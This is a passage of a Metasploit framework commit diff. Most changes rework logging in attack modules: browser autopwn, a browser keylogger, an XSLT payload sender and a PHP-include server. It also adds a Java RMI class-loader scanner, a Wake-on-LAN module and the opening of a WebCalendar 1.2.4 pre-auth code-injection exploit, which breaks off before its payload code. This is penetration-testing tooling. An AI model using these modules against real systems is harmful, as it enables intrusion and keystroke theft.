Compare commits
49 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 9988d6a430 | |||
| 0367b7b3f2 | |||
| 82b8042d2d | |||
| 5fec29e6b7 | |||
| fd2e4c12a2 | |||
| 348da8e5a6 | |||
| e12c29a5dc | |||
| ffd91793b9 | |||
| 46ad599673 | |||
| 7904fe5bba | |||
| f1cd488f19 | |||
| 67fe5b775a | |||
| ec831a1658 | |||
| 4c2e1c2859 | |||
| 63ed7fcc8f | |||
| d985ba5e5d | |||
| 91763dd063 | |||
| cc76438a75 | |||
| 711fb73048 | |||
| f77efbf89e | |||
| 9189dea4e4 | |||
| 4a8068905f | |||
| 2a5a80a485 | |||
| 03117ffa95 | |||
| 5bebd01eb0 | |||
| bc42375565 | |||
| 0671fc9ea1 | |||
| 9c9b74cae2 | |||
| ecd7762df9 | |||
| c27195b189 | |||
| 5bf5e8888d | |||
| e57ba79402 | |||
| ac6247963c | |||
| 4c72193922 | |||
| a261adaaea | |||
| cca97f2989 | |||
| 66ecf28451 | |||
| b0a76a1aa1 | |||
| 9cdd8912c5 | |||
| 7071c30b4b | |||
| 0e45b6c06c | |||
| 1f577b24b2 | |||
| f9b2fe89b2 | |||
| f4f1ec70bc | |||
| 627ae308b3 | |||
| b077efb7f0 | |||
| d0eb383655 | |||
| a86bdf883e | |||
| 3ad3caf450 |
+5
-2
@@ -1290,20 +1290,23 @@ class DBManager
|
||||
raise ArgumentError.new("Deprecated data column for vuln, use .info instead") if opts[:data]
|
||||
name = opts[:name] || return
|
||||
info = opts[:info]
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
||||
wspace = opts.delete(:workspace) || workspace
|
||||
exploited_at = opts[:exploited_at] || opts["exploited_at"]
|
||||
rids = nil
|
||||
|
||||
if opts[:refs]
|
||||
rids = []
|
||||
opts[:refs].each do |r|
|
||||
if (r.respond_to?(:ctx_id)) and (r.respond_to?(:ctx_val))
|
||||
r = "#{r.ctx_id}-#{r.ctx_val}"
|
||||
rids << find_or_create_ref(:name => r)
|
||||
end
|
||||
rids << find_or_create_ref(:name => r)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
host = nil
|
||||
addr = nil
|
||||
if opts[:host].kind_of? ::Mdm::Host
|
||||
|
||||
@@ -234,7 +234,12 @@ module Exploit::Remote::AFP
|
||||
network_addresses = read_array(body, network_addresses_offset, true)
|
||||
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
|
||||
# skiped directory names
|
||||
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
||||
#Error catching for offset issues on this field. Need better error ahndling all through here
|
||||
begin
|
||||
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
||||
rescue
|
||||
parsed_data[:utf8_server_name] = "N/A"
|
||||
end
|
||||
|
||||
return parsed_data
|
||||
end
|
||||
|
||||
@@ -45,6 +45,63 @@ module Exploit::Remote::HttpServer
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Thread-local client accessor
|
||||
#
|
||||
def cli
|
||||
Thread.current[:cli]
|
||||
end
|
||||
|
||||
#
|
||||
# Thread-local client accessor
|
||||
#
|
||||
def cli=(cli)
|
||||
Thread.current[:cli] = cli
|
||||
end
|
||||
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_line(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_status(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_error(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_debug(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_line(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_status(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_error(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_debug(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||||
# exception is only raised if the DisableGzip advanced option has not been
|
||||
@@ -66,6 +123,8 @@ module Exploit::Remote::HttpServer
|
||||
use_zlib
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Exploit::Remote::TcpServer overrides
|
||||
#
|
||||
# This mixin starts the HTTP server listener. This routine takes a few
|
||||
# different hash parameters:
|
||||
@@ -112,6 +171,7 @@ module Exploit::Remote::HttpServer
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
self.cli = cli
|
||||
framework.events.on_httpserver_request(self, cli, req)
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
@@ -129,6 +189,21 @@ module Exploit::Remote::HttpServer
|
||||
add_resource(uopts)
|
||||
end
|
||||
|
||||
#
|
||||
# Return a Hash containing a best guess at the actual browser and operating
|
||||
# system versions, based on the User-Agent header.
|
||||
#
|
||||
# Keys in the returned hash are similar to those expected of
|
||||
# Report#report_client, and Msf::DBManager#report_host namely:
|
||||
# +:ua_name+:: a brief identifier for the client, e.g. "Firefox"
|
||||
# +:ua_ver+:: the version number of the client, e.g. "3.0.11"
|
||||
# +:os_name+:: one of the Msf::OperatingSystems constants
|
||||
# +:os_flavor+:: something like "XP" or "Gentoo"
|
||||
# +:os_lang+:: something like "English", "French", or "en-US"
|
||||
# +:arch+:: one of the ARCH_* constants
|
||||
#
|
||||
# Unknown values may be nil.
|
||||
#
|
||||
def fingerprint_user_agent(ua_str)
|
||||
fp = { :ua_string => ua_str }
|
||||
|
||||
@@ -265,6 +340,9 @@ module Exploit::Remote::HttpServer
|
||||
# Proc => The procedure to call when the URI is requested.
|
||||
# LongCall => Indicates that the request is a long call.
|
||||
#
|
||||
# NOTE: Calling #add_resource will change the results of subsequent calls
|
||||
# to #get_resource!
|
||||
#
|
||||
def add_resource(opts)
|
||||
@service_path = opts['Path']
|
||||
service.add_resource(opts['Path'], opts)
|
||||
@@ -280,7 +358,7 @@ module Exploit::Remote::HttpServer
|
||||
end
|
||||
|
||||
#
|
||||
# Return a full url of the form http://1.1.1.1:8080/resource/
|
||||
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
|
||||
#
|
||||
# The address portion should be something a client would be able to route,
|
||||
# but see +srvhost_addr+ for caveats.
|
||||
@@ -322,12 +400,11 @@ module Exploit::Remote::HttpServer
|
||||
# All of this will be for naught in the case of a user behind NAT using a
|
||||
# bind payload but there's nothing we can do about it.
|
||||
#
|
||||
# NOTE: The address will be incorrect when
|
||||
# a) LHOST is pointed at a multi/handler on some other box.
|
||||
# or
|
||||
# b) SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||||
# using a bind payload. In that case, we don't have an LHOST and
|
||||
# the source address will be internal.
|
||||
# NOTE: The address will be *incorrect* in the following two situations:
|
||||
# 1) LHOST is pointed at a multi/handler on some other box.
|
||||
# 2) SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||||
# using a bind payload. In that case, we don't have an LHOST and
|
||||
# the source address will be internal.
|
||||
#
|
||||
# This can potentially be dealt with in a module by using the Host header
|
||||
# from a request if such a header exists.
|
||||
@@ -495,6 +572,8 @@ module Exploit::Remote::HttpServer
|
||||
# start_service. Subsequent registrations will not result in a call to
|
||||
# on_request_uri.
|
||||
#
|
||||
# Modules should override this method.
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
end
|
||||
|
||||
@@ -819,15 +898,17 @@ module Exploit::Remote::HttpServer::PHPInclude
|
||||
true
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Exploit::Remote::TcpServer overrides
|
||||
#
|
||||
# Override exploit() to handle service start/stop
|
||||
#
|
||||
# Disables SSL for the service since we always want to serve our evil PHP
|
||||
# files from a non-ssl server. There are two reasons for this:
|
||||
# a) https is only supported on PHP versions after 4.3.0 and only if
|
||||
# 1. https is only supported on PHP versions after 4.3.0 and only if
|
||||
# the OpenSSL extension is compiled in, a non-default configuration on
|
||||
# most systems
|
||||
# b) somewhat less importantly, the SSL option would conflict with the
|
||||
# 2. somewhat less importantly, the SSL option would conflict with the
|
||||
# option for our client connecting to the vulnerable server
|
||||
#
|
||||
def exploit
|
||||
@@ -869,6 +950,8 @@ module Exploit::Remote::HttpServer::PHPInclude
|
||||
send_response(cli, body, headers)
|
||||
end
|
||||
|
||||
##
|
||||
# :category: Event Handlers
|
||||
#
|
||||
# Handle an incoming PHP code request
|
||||
#
|
||||
|
||||
@@ -188,7 +188,7 @@ opt.each do |opt,arg|
|
||||
wait = arg.to_i
|
||||
end
|
||||
when '--reportdelete'
|
||||
if arg = ''
|
||||
if arg == ''
|
||||
deletereport=true
|
||||
else
|
||||
operation = "reportdelete"
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'UDP Wake-On-Lan (WOL)',
|
||||
'Description' => %q{
|
||||
This module will turn on a remote machine with a network card that
|
||||
supports wake-on-lan (or MagicPacket). In order to use this, you must
|
||||
know the machine's MAC address in advance. The current default MAC
|
||||
address is just an example of how your input should look like.
|
||||
|
||||
The password field is optional. If present, it should be in this hex
|
||||
format: 001122334455, which is translated to "0x001122334455" in binary.
|
||||
Note that this should be either 4 or 6 bytes long.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new("MAC", [true, 'Specify a MAC address', '00:90:27:85:cf:01']),
|
||||
OptString.new("PASSWORD", [false, 'Specify a four or six-byte password']),
|
||||
OptBool.new("IPV6", [false, 'Use IPv6 broadcast', false])
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST', 'RPORT')
|
||||
end
|
||||
|
||||
#
|
||||
# Restore the original rhost:rport
|
||||
#
|
||||
def cleanup
|
||||
datastore['RHOST'] = @last_rhost
|
||||
datastore['RPORT'] = @last_rport
|
||||
end
|
||||
|
||||
#
|
||||
# Convert the MAC option to binary format
|
||||
#
|
||||
def get_mac_addr
|
||||
mac = datastore['MAC']
|
||||
if mac !~ /^([0-9a-zA-Z]{2}\:){5}[0-9a-zA-Z]{2}$/
|
||||
print_error("Invalid MAC address format")
|
||||
return nil
|
||||
end
|
||||
|
||||
bin_mac = ''
|
||||
mac.split(':').each do |group|
|
||||
bin_mac << [group].pack('H*')
|
||||
end
|
||||
|
||||
bin_mac
|
||||
end
|
||||
|
||||
#
|
||||
# Supply a password to go with the WOL packet (SecureON)
|
||||
#
|
||||
def parse_password
|
||||
return "" if datastore['PASSWORD'].nil?
|
||||
|
||||
dataset = [ datastore['PASSWORD'] ].pack('H*').unpack('C*')
|
||||
|
||||
# According to Wireshark wiki, this must be either 4 or 6 bytes
|
||||
if dataset.length == 4 or dataset.length == 6
|
||||
pass = ''
|
||||
dataset.each do |group|
|
||||
pass << group.to_i
|
||||
end
|
||||
|
||||
return pass
|
||||
else
|
||||
print_error("Bad password format or length: #{dataset.inspect}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def run
|
||||
# If the MAC is bad, no point to continue
|
||||
mac = get_mac_addr
|
||||
return if mac.nil?
|
||||
|
||||
# If there's a password, use it
|
||||
pass = parse_password
|
||||
return if pass.nil?
|
||||
|
||||
# Save the original rhost:rport settings so we can restore them
|
||||
# later once the module is done running
|
||||
@last_rhost = rhost
|
||||
@last_rport = rport
|
||||
|
||||
# Config to broadcast
|
||||
datastore['RHOST'] = datastore['IPV6'] ? "ff:ff:ff:ff:ff:ff" : "255.255.255.255"
|
||||
datastore['RPORT'] = 9
|
||||
|
||||
# Craft the WOL packet
|
||||
wol_pkt = "\xff" * 6 #Sync stream (magic packet)
|
||||
wol_pkt << mac * 16 #Mac address
|
||||
wol_pkt << pass if not pass.empty?
|
||||
|
||||
# Send out the packet
|
||||
print_status("Sending WOL packet...")
|
||||
connect_udp
|
||||
udp_sock.put(wol_pkt)
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
http://wiki.wireshark.org/WakeOnLAN
|
||||
|
||||
Test:
|
||||
udp && eth.addr == ff:ff:ff:ff:ff:ff
|
||||
=end
|
||||
@@ -65,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
content[cidx + 8, 8] = [ coff, clen ].pack("N*")
|
||||
|
||||
# Send the font on its merry way
|
||||
print_status("Sending embedded font to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending embedded font...")
|
||||
send_response_html(cli, content, { 'Content-Type' => 'application/octet-stream' })
|
||||
else
|
||||
var_title = Rex::Text.rand_text_alpha(6 + rand(32))
|
||||
@@ -80,7 +80,7 @@ body {
|
||||
}
|
||||
</style></head><body> #{var_body} </body></html>|
|
||||
|
||||
print_status("Sending HTML page with embedded font to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending HTML page with embedded font...")
|
||||
send_response_html(cli, content, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
end
|
||||
|
||||
@@ -49,11 +49,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Request '#{request.method} #{request.uri}'")
|
||||
print_status("Request '#{request.method} #{request.uri}'")
|
||||
selected_headers = [ 'user-agent', 'origin', 'referer' ]
|
||||
request.headers.each_key { |k|
|
||||
next if not selected_headers.include? k.downcase
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} + #{k}: #{request.headers[k]}")
|
||||
print_status("#{k}: #{request.headers[k]}")
|
||||
}
|
||||
|
||||
return process_post(cli, request) if request.method == "POST"
|
||||
@@ -108,7 +108,7 @@ uploadFiles(results);
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Sending payload HTML ...")
|
||||
print_status("Sending payload HTML ...")
|
||||
send_response_html(cli, html,
|
||||
{
|
||||
'Cache-Control' => 'public',
|
||||
@@ -133,7 +133,7 @@ setTimeout("document.location = '#{payload_fn}.html';", 500);
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Sending initial HTML ...")
|
||||
print_status("Sending initial HTML ...")
|
||||
send_response_html(cli, html)
|
||||
|
||||
end
|
||||
@@ -167,7 +167,7 @@ EOS
|
||||
e = results[k]
|
||||
fn = e[:filename]
|
||||
data = e[:data]
|
||||
print_good("#{cli.peerhost}:#{cli.peerport} ! #{fn.inspect} contains #{data.inspect}")
|
||||
print_good("#{fn.inspect} contains #{data.inspect}")
|
||||
|
||||
fn.gsub!(/[\/\\]/, '.')
|
||||
fn.gsub!(/^\./, '')
|
||||
|
||||
@@ -0,0 +1,138 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Java RMI Server Endpoint Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Detect Java RMI endpoints',
|
||||
'Authors' => ['mihi', 'hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
# RMI protocol specification
|
||||
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
|
||||
# Placeholder reference for matching
|
||||
[ 'MSF', 'java_rmi_server']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 15 2011'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1099)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
buf = gen_rmi_loader_packet
|
||||
|
||||
jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar'
|
||||
old_url = "file:./rmidummy.jar"
|
||||
new_url = "file:RMIClassLoaderSecurityTest/" + jar
|
||||
|
||||
# Java strings in serialized data are prefixed with a 2-byte, big endian length
|
||||
# (at least, as long as they are shorter than 65536 bytes)
|
||||
find_me = [old_url.length].pack("n") + old_url
|
||||
|
||||
idx = buf.index(find_me)
|
||||
len = [new_url.length].pack("n")
|
||||
|
||||
# Now replace it with the new url
|
||||
buf[idx, find_me.length] = len + new_url
|
||||
|
||||
@pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
|
||||
begin
|
||||
connect
|
||||
sock.put("\x4a\x52\x4d\x49\0\x02\x4b")
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res and res =~ /^\x4e..([^\x00]+)\x00\x00/
|
||||
info = $1
|
||||
|
||||
begin
|
||||
# Determine if the instance allows remote class loading
|
||||
connect
|
||||
sock.put(@pkt) rescue nil
|
||||
|
||||
buf = ""
|
||||
1.upto(6) do
|
||||
res = sock.get_once(-1, 5) rescue nil
|
||||
break if not res
|
||||
buf << res
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
if buf =~ /RMI class loader disabled/
|
||||
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled")
|
||||
elsif buf.length > 0
|
||||
print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled")
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:name => self.fullname,
|
||||
:info => "Class Loader: Enabled",
|
||||
:refs => self.references
|
||||
)
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError, ::IOError
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def gen_rmi_loader_packet
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
|
||||
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
|
||||
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
|
||||
"\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
|
||||
"\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
|
||||
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
@@ -37,8 +37,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def run_host(ip)
|
||||
begin
|
||||
s = connect(false)
|
||||
data = s.get
|
||||
data = s.get_once(-1,10)
|
||||
disconnect(s)
|
||||
if data.nil?
|
||||
print_error "The connection to #{rhost}:#{rport} timed out"
|
||||
return
|
||||
end
|
||||
rescue ::Rex::ConnectionError, ::EOFError
|
||||
return
|
||||
rescue ::Exception
|
||||
|
||||
@@ -519,7 +519,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# Main dispatcher method for when we get a request
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
print_status("#{cli.peerhost.ljust 16} Browser Autopwn request '#{request.uri}'")
|
||||
print_status("Handling '#{request.uri}'")
|
||||
|
||||
case request.uri
|
||||
when self.get_resource
|
||||
@@ -553,7 +553,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# detection, which is kind of a bummer since it's so easy for the
|
||||
# ua string to lie. It probably doesn't matter that much because
|
||||
# most of our exploits require javascript anyway.
|
||||
print_status("#{cli.peerhost.ljust 16} Browser has javascript disabled, trying exploits that don't need it")
|
||||
print_status("Browser has javascript disabled, trying exploits that don't need it")
|
||||
record_detection(cli, request)
|
||||
if (action.name == "DefangedDetection")
|
||||
response = create_response()
|
||||
@@ -566,7 +566,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
response["Cache-Control"] = "must-revalidate"
|
||||
cli.send_response(response)
|
||||
else
|
||||
print_status("#{cli.peerhost.ljust 16} 404ing #{request.uri}")
|
||||
print_status("404ing #{request.uri}")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
@@ -601,7 +601,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
sploit_cnt += 1
|
||||
}
|
||||
print_status("#{cli.peerhost.ljust 16} Responding with #{sploit_cnt} non-javascript exploits")
|
||||
print_status("Responding with #{sploit_cnt} non-javascript exploits")
|
||||
body
|
||||
end
|
||||
|
||||
@@ -832,9 +832,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
response.body = "#{js}"
|
||||
|
||||
print_status("#{cli.peerhost.ljust 16} Responding with #{sploit_cnt} exploits")
|
||||
print_status("Responding with #{sploit_cnt} exploits")
|
||||
sploits_for_this_client.each do |name|
|
||||
vprint_status("#{cli.peerhost.ljust 16} - #{name}")
|
||||
vprint_status("* #{name}")
|
||||
end
|
||||
return response
|
||||
end
|
||||
@@ -903,14 +903,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# roughly the same as the javascript version on non-IE
|
||||
# browsers because it does most everything with
|
||||
# navigator.userAgent
|
||||
print_status("#{cli.peerhost.ljust 16} Recording detection from User-Agent: #{request['User-Agent']}")
|
||||
print_status("Recording detection from User-Agent: #{request['User-Agent']}")
|
||||
report_user_agent(cli.peerhost, request)
|
||||
else
|
||||
data_offset += 'sessid='.length
|
||||
detected_version = request.uri[data_offset, request.uri.length]
|
||||
if (0 < detected_version.length)
|
||||
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
||||
print_status("#{cli.peerhost.ljust 16} JavaScript Report: #{detected_version}")
|
||||
print_status("JavaScript Report: #{detected_version}")
|
||||
(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
|
||||
|
||||
if framework.db.active
|
||||
@@ -920,7 +920,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
note_data[:os_sp] = os_sp if os_sp != "undefined"
|
||||
note_data[:os_lang] = os_lang if os_lang != "undefined"
|
||||
note_data[:arch] = arch if arch != "undefined"
|
||||
print_status("#{cli.peerhost.ljust 16} Reporting: #{note_data.inspect}")
|
||||
print_status("Reporting: #{note_data.inspect}")
|
||||
|
||||
# Reporting stuff isn't really essential since we store all
|
||||
# the target information locally. Make sure any exception
|
||||
|
||||
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
unless cid
|
||||
cid = generate_client_id(cli,request)
|
||||
print_status("#{cli.peerhost} Assigning client identifier '#{cid}'")
|
||||
print_status("Assigning client identifier '#{cid}'")
|
||||
|
||||
resp = create_response(302, 'Moved')
|
||||
resp['Content-Type'] = 'text/html'
|
||||
@@ -177,15 +177,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
:path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"),
|
||||
:path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)")
|
||||
}
|
||||
print_good("#{cli.peerhost} [#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
|
||||
print_good("#{cli.peerhost} [#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
|
||||
print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
|
||||
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
|
||||
end
|
||||
|
||||
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
|
||||
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
|
||||
|
||||
if nice.length > 0
|
||||
print_good("#{cli.peerhost} [#{cid}] Keys: #{nice}")
|
||||
print_good("[#{cid}] Keys: #{nice}")
|
||||
end
|
||||
|
||||
nice
|
||||
|
||||
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Request '#{request.uri}'...")
|
||||
|
||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||
if(!request.headers['Authorization'])
|
||||
|
||||
@@ -85,8 +85,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
</doc>
|
||||
EOS
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Sending XSLT payload ...")
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Destination file : #{path}")
|
||||
print_status("Sending XSLT payload ...")
|
||||
print_status("Destination file : #{path}")
|
||||
send_response_html(cli, html, { 'Content-Type' => 'application/xml' })
|
||||
end
|
||||
|
||||
|
||||
@@ -90,7 +90,7 @@ EOS
|
||||
def on_request_uri(cli,request)
|
||||
# Transmit the response to the client
|
||||
res = create_page()
|
||||
print_status("Leaking PII to #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Leaking PII...")
|
||||
send_response(cli, res, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
|
||||
'Description' => %q{
|
||||
This modules exploits a vulnerability found in WebCalendar, version 1.2.4 or
|
||||
less. If not removed, the settings.php script meant for installation can be
|
||||
update by an attacker, and then inject code in it. This allows arbitrary code
|
||||
execution as www-data.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'EgiX', #Initial discovery & PoC
|
||||
'sinn3r' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-1495'],
|
||||
['URL', '18775']
|
||||
],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['WebCalendar 1.2.4 on Linux', {}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 23 2012",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
